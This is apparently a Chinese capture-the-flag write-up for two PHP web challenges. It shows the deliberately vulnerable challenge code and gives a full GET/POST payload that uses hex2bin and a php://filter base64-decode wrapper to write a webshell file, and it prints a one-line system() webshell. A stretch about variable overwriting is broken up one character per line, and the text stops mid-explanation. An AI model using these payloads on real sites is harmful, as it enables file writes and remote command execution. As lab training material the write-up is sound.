<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
首先我们看到file_put_contents函数要条件反射
1.它可以配合伪协议
file_put_contents()
//用来写文件进去,其中文件名参数是支持伪协议的,用于将第二个参数content进行过滤器后再写进文件里面去
file_put_contents($_POST['filename'], "<?php system($_GET['c']);?>");
当然这道题可以学到很多东西,首先我们先分析一下
v3得是一个文件把,写入一些命令执行的东西,那我们可以通过伪协议直接生成文件
?V3=php://filter/write=convert.base64-decode/resource=1.php
新姿势通过十六进制配合call_user_func函数进行写入命令执行
思维太局限于assert函数配合phpinfo(),我们可以通过十六进制
v2=115044383959474e6864434171594473
解码会得到
我们可以看到前面有乱码,其实就是通过解码(4字节一组),能绕过substr的截断
在做个实验
可以看出来substr并没有限制我们的正常输出,说明绕过了substr函数
最后payload
GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php
POST
v1=hex2bin
最后访问1.php
最后需要学习一下伪协议
web105
简单的变量覆盖
首先看一个demo
看的出来die配合文件包含
那我们的目的也很明确了,就是构造error=
f
l
a
g
我
们
可
以
看
出
来
最
后
输
出
flag 我们可以看出来最后输出
flag我们可以看出来最后输出flag
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value; //重点关注双$照成变量覆盖
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
目的确定,构造
我们可以先让a=flag
那么第一个foreach就会输出